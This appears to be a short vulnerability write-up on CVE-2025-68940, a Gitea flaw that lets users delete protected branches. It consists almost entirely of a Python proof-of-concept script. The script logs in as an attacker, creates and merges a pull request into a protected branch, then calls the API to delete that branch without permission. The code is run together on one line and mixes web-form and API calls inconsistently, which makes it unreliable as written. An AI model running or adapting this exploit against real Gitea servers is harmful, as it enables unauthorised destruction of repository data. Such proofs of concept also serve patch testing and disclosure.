CVE-2025-68940: Gitea分支删除权限绕过漏洞

# CVE-2025-68940 PoC - Gitea Branch Deletion Permission Bypass # This PoC demonstrates the branch deletion permission bypass after PR merge import requests import json TARGET_URL = "https://gitea.example.com" USERNAME = "attacker" PASSWORD = "password" REPO_OWNER = "target_user" REPO_NAME = "vulnerable-repo" BRANCH_NAME = "protected-branch" def authenticate(): """Authenticate and get session token""" session = requests.Session() login_url = f"{TARGET_URL}/user/login" session.post(login_url, data={ "user_name": USERNAME, "password": PASSWORD }) return session def create_pull_request(session): """Create a pull request to the protected branch""" pr_url = f"{TARGET_URL}/{REPO_OWNER}/{REPO_NAME}/pull/new" # Create PR from attacker branch to protected branch response = session.post(pr_url, data={ "title": "Legitimate PR", "base": BRANCH_NAME, "head": f"{USERNAME}:attacker-branch" }) return response def merge_pull_request(session, pr_number): """Merge the pull request""" merge_url = f"{TARGET_URL}/api/v1/repos/{REPO_OWNER}/{REPO_NAME}/pulls/{pr_number}/merge" response = session.post(merge_url, json={"do": "merge"}) return response.status_code == 200 def delete_branch_after_merge(session): """Attempt to delete branch after merge - exploits the vulnerability""" delete_url = f"{TARGET_URL}/api/v1/repos/{REPO_OWNER}/{REPO_NAME}/branches/{BRANCH_NAME}" response = session.delete(delete_url) # In vulnerable version, this may succeed even without permission return response.status_code == 204 def main(): session = authenticate() pr_response = create_pull_request(session) if pr_response.status_code == 201: pr_number = pr_response.json()["number"] if merge_pull_request(session, pr_number): # This should fail in patched version, succeed in vulnerable version if delete_branch_after_merge(session): print("[!] Vulnerability confirmed - branch deleted without proper permission") else: print("[+] Patch applied - branch deletion properly blocked") if __name__ == "__main__": main()